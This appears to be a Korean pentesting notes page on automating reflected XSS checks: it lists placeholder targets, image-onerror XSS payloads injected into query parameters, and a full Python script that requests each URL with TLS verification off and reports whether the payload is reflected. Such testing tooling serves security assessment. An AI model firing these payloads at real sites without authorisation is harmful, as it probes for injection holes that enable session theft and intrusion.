Wordlist 기반의 XSS 공격 자동화¶
1. 공격 자동화 예시¶
XSS 공격을 수행하는 과정에서 동일한 경로들을 수집했을 때, XSS 공격을 자동화하는 스크립트
현재 작성된 자동화 코드는 URL과 매개변수를 직접 적용해야 합니다. Payload만 개별로 구성해서 사용할 수 있지만 매개변수는 직접 찾아서 targets.txt에 목록을 만들어줘야 합니다.
targets.txt
https://www.example1.com/
https://www.example2.com/
https://www.example3.com/
- payload 구성
payloads = [
'?param=test"><img/src/onerror=print(1)>',
'?param1=test"><img/src/onerror=print(1)>',
'?param2=test"><img/src/onerror=print(1)>'
]
- XSS 요청 방식
https://www.example1.com/?param=test"><img/src/onerror=print(1)>
https://www.example2.com/?param1=test"><img/src/onerror=print(1)>
https://www.example3.com/?param2=test"><img/src/onerror=print(1)>
2. 전체 코드¶
import requests # pip install requests
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse
import urllib3
urllib3.disable_warnings()
def xss_checker():
# 공격 URL 지정
with open('targets.txt', 'r') as f:
targets = [line.strip() for line in f if line.strip()]
results = []
# XSS Payload 목록
payloads = [
'?params=test"><img/src/onerror=print(1)>'
]
results = []
for target in targets:
for payload in payloads:
url = target + payload
try:
resp = requests.get(url, verify=False, timeout=10, allow_redirects=True)
# payload 값 부분만 추출해서 Reflected 확인
payload_value = payload.split('=', 1)[-1]
reflected = payload_value in resp.text
status = "⚠️ Warn Reflected" if reflected else "✅ XSS Not Found"
print(f"[{resp.status_code}] {status} → {url[:100]}")
results.append({"url": url, "status_code": resp.status_code, "reflected": reflected})
except requests.exceptions.RequestException as e:
print(f"\033[91m[ERR] ❌ 요청 실패 → {url[:100]}\033[0m")
results.append({"url": url, "status_code": 0, "reflected": False, "error": str(e)})
# 결과 요약
reflected_count = sum(1 for r in results if r.get("reflected"))
print(f"\n{'='*50}")
print(f"전체: {len(results)} | Reflected XSS 발견 개수: {reflected_count}")
if __name__ == "__main__":
xss_checker()
Refer¶
나중에 URL과 매개변수를 추출하는 site-scanner와 연동 가능성 확인